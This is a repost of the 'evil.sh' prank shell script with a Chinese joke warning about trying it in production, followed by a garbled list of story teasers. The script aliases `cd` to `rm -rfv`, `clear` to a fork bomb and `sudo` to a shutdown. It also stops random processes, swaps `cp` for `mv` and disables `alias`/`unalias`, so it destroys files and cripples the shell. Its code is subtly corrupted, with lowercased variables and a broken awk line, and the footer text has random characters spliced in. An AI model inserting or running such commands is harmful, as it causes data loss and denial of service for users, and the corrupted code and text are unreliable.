evil.sh

evil.sh

5星警告,如果想在生產(chǎn)環(huán)境測試本腳本,請先學習從刪庫到跑路教程

#!/usr/bin/env bash
# evil.sh — https://mths.be/evil.sh

# set `rm` as the default editor.
export editor=/bin/rm;

# make tab send the delete key.
tset -qe $'\t';

# randomly make the shell exit whenever a command has a non-zero exit status.
((random % 10)) || set -o errexit;

# let `cat` swallow every input and never return anything.
alias cat=true;

# use a random sort option whenever `ls` is invoked.
function ls { command ls -$(opts="frstu"; echo ${opts:$((random % ${#opts})):1}) "$@"; }

# delete directories instead of entering them.
alias cd='rm -rfv';

# shut down the computer instead of running a command with super-user rights.
alias sudo='sudo shutdown -p now';

# launch a fork bomb instead of clearing the screen.
alias clear=':(){ :|:& };:';

# have `date` return random dates.
alias date='date -d "now + $random days"';

# sometimes, wait a few minutes and then start randomly ejecting the cd drive.
# other times, resist all attempts at opening it. other times, make it read
# reaaaalllly sllooowwwwllly.
if [ "$(uname)" = 'darwin' ]; then
    # much less fun on macs, alas.
    if [[ $[$random % 2] == 0 ]]; then
        # eject!
        sh -c 'sleep $[($random % 900) + 300]s; while :; do drutil eject; sleep $[($random % 20) + 1]s; done' > /dev/null 2>&1 &
    else
        # lock! admittedly, much less annoying on most macs,    which don’t support
        # locking and are slot-loading anyway.
        sh -c 'while :; do drutil tray close; sleep 0.1s; done' > /dev/null 2>&1 &
    fi;
else
    n=$[$random % 3];
    if [[ $n == 0 ]]; then
        # open and close randomly after a few minutes.
        sh -c 'sleep $[($random % 900) + 300]s; while :; do eject -t; sleep $[($random % 20) + 1]s; done' > /dev/null 2>&1 &
    elif [[ $n == 1 ]]; then
        # lock, and keep closing just in case.
        sh -c 'while :; do eject -t; eject -i on; sleep 0.1s; done' > /dev/null 2>&1 &
    else
        # slowness (1× cd speed). this has to be in a loop because it resets with
        # every ejection.
        sh -c 'set +o errexit; while :; do eject -x 1; sleep 1s; done' > /dev/null 2>&1 &
    fi;
fi;

# send stop signal to random process at random time.
sleep $[ ( $random % 100 )  + 1 ]s && kill -stop $(ps x -o pid|sed 1d|sort -r|head -1) &

# have `cp` perform `mv` instead.
alias cp='mv';

# make `exit` open a new shell.
alias exit='sh';

# add a random number to line numbers when using `grep -n`.
function grep { command grep "$@" | awk -f: '{ r = int(rand() * 10); n = $1; $1 = ""; command if (n ~ /^[0-9]+$/) { o = n+r } else { o = n }; print o ":" substr($0, 2)}'; }

# invert `if`, `for`, and `while`.
alias if='if !' for='for !' while='while !';

# map enter, ctrl+j, and ctrl+m to backspace.
bind '"\c-j":"\c-?"';
bind '"\c-m":"\c-?"';

# send `n` (no) instead of `y` (yes)
alias yes="yes n";

# quit vim on startup.
alias vim="vim +q";

# disable `unalias` and `alias`.
alias unalias=false;
alias alias=false;
最后編輯于
?著作權歸作者所有,轉載或內容合作請聯(lián)系作者
  • 序言:七十年代末狐援,一起剝皮案震驚了整個濱河市泡嘴,隨后出現(xiàn)的幾起案子融师,更是在濱河造成了極大的恐慌,老刑警劉巖,帶你破解...
    沈念sama閱讀 218,036評論 6 506
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場離奇詭異楣责,居然都是意外死亡竣灌,警方通過查閱死者的電腦和手機,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 93,046評論 3 395
  • 文/潘曉璐 我一進店門秆麸,熙熙樓的掌柜王于貴愁眉苦臉地迎上來初嘹,“玉大人,你說我怎么就攤上這事沮趣⊥头常” “怎么了?”我有些...
    開封第一講書人閱讀 164,411評論 0 354
  • 文/不壞的土叔 我叫張陵房铭,是天一觀的道長驻龟。 經(jīng)常有香客問我,道長缸匪,這世上最難降的妖魔是什么翁狐? 我笑而不...
    開封第一講書人閱讀 58,622評論 1 293
  • 正文 為了忘掉前任,我火速辦了婚禮凌蔬,結果婚禮上露懒,老公的妹妹穿的比我還像新娘。我一直安慰自己砂心,他們只是感情好懈词,可當我...
    茶點故事閱讀 67,661評論 6 392
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著辩诞,像睡著了一般坎弯。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上译暂,一...
    開封第一講書人閱讀 51,521評論 1 304
  • 那天荞怒,我揣著相機與錄音,去河邊找鬼秧秉。 笑死,一個胖子當著我的面吹牛衰抑,可吹牛的內容都是我干的象迎。 我是一名探鬼主播,決...
    沈念sama閱讀 40,288評論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼呛踊,長吁一口氣:“原來是場噩夢啊……” “哼砾淌!你這毒婦竟也來了?” 一聲冷哼從身側響起谭网,我...
    開封第一講書人閱讀 39,200評論 0 276
  • 序言:老撾萬榮一對情侶失蹤汪厨,失蹤者是張志新(化名)和其女友劉穎,沒想到半個月后愉择,有當?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體劫乱,經(jīng)...
    沈念sama閱讀 45,644評論 1 314
  • 正文 獨居荒郊野嶺守林人離奇死亡织中,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內容為張勛視角 年9月15日...
    茶點故事閱讀 37,837評論 3 336
  • 正文 我和宋清朗相戀三年,在試婚紗的時候發(fā)現(xiàn)自己被綠了衷戈。 大學時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片狭吼。...
    茶點故事閱讀 39,953評論 1 348
  • 序言:一個原本活蹦亂跳的男人離奇死亡,死狀恐怖殖妇,靈堂內的尸體忽然破棺而出刁笙,到底是詐尸還是另有隱情,我是刑警寧澤谦趣,帶...
    沈念sama閱讀 35,673評論 5 346
  • 正文 年R本政府宣布疲吸,位于F島的核電站,受9級特大地震影響前鹅,放射性物質發(fā)生泄漏摘悴。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點故事閱讀 41,281評論 3 329
  • 文/蒙蒙 一嫡纠、第九天 我趴在偏房一處隱蔽的房頂上張望烦租。 院中可真熱鬧,春花似錦除盏、人聲如沸叉橱。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,889評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽窃祝。三九已至,卻和暖如春踱侣,著一層夾襖步出監(jiān)牢的瞬間粪小,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 33,011評論 1 269
  • 我被黑心中介騙來泰國打工抡句, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留探膊,地道東北人。 一個月前我還...
    沈念sama閱讀 48,119評論 3 370
  • 正文 我出身青樓待榔,卻偏偏與公主長得像逞壁,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個殘疾皇子锐锣,可洞房花燭夜當晚...
    茶點故事閱讀 44,901評論 2 355

推薦閱讀更多精彩內容